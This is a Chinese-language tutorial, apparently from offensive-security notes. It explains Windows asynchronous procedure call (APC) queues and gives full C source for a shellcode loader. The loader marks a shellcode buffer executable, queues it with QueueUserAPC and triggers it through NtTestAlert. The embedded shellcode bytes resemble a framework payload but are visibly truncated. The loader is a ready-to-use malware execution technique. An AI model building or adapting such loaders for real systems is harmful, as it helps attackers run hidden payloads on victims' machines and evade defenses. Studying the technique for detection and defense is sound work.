基于APC注入加载
什么是APC队列
异步过程调用(APC)队列是一个与线程关联的队列,用于存储要在该线程上下文中异步执行的函数。操作系统内核会跟踪每个线程的 APC 队列,并在适当的时机触发队列中挂起的函数。APC 队列通常用于实现线程间的异步通信、定时器回调以及异步 I/O 操作。
APC 队列包含两种类型的 APC:
内核模式 APC:由内核代码发起,通常用于处理内核级别的异步操作,如异步 I/O 完成。
用户模式 APC:由用户代码发起,允许用户态应用程序将特定函数插入到线程的 APC 队列中,以便在线程上下文中异步执行
实现思路
使用
VirtualProtect函数修改shellcode所在内存区域的保护属性,将其设置为可执行、可读、可写(PAGE_EXECUTE_READWRITE),以便执行其中的代码。获取
NtTestAlert函数的地址。这是一个内部函数,无法直接通过函数名调用。NtTestAlert函数用于检查当前线程的 APC 队列。如果队列中有挂起的用户模式 APC 请求,NtTestAlert将触发它们的执行。使用
QueueUserAPC函数向当前线程的 APC 队列添加一个执行 Shellcode 的任务。这将在NtTestAlert被调用时执行 Shellcode。调用
NtTestAlert函数,触发 APC 队列中的任务执行,实现 Shellcode 的执行
实现代码
该代码通过在当前线程的 APC 队列中添加一个执行 Shellcode 的任务,并调用 NtTestAlert 函数触发 APC 队列中的任务执行,从而实现了加载并执行 Shellcode 的目的
#include <Windows.h>
typedef DWORD(WINAPI* pNtTestAlert)();
unsigned char shellcode[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x00\x53\xff\xd5";
void ApcLoader() {
// 修改 shellcode 所在内存区域的保护属性,允许执行
DWORD oldProtect;
VirtualProtect((LPVOID)shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
/*
获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用
这个函数用于检查当前线程的 APC(Asynchronous Procedure Call,异步过程调用)队列,如
果队列中有挂起的用户模式 APC 请求,NtTestAlert 将触发它们的执行
*/
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
// 向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务
QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)shellcode, GetCurrentThread(), NULL);
//调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode)
NtTestAlert();
}
void main() {
ApcLoader();
}最后更新于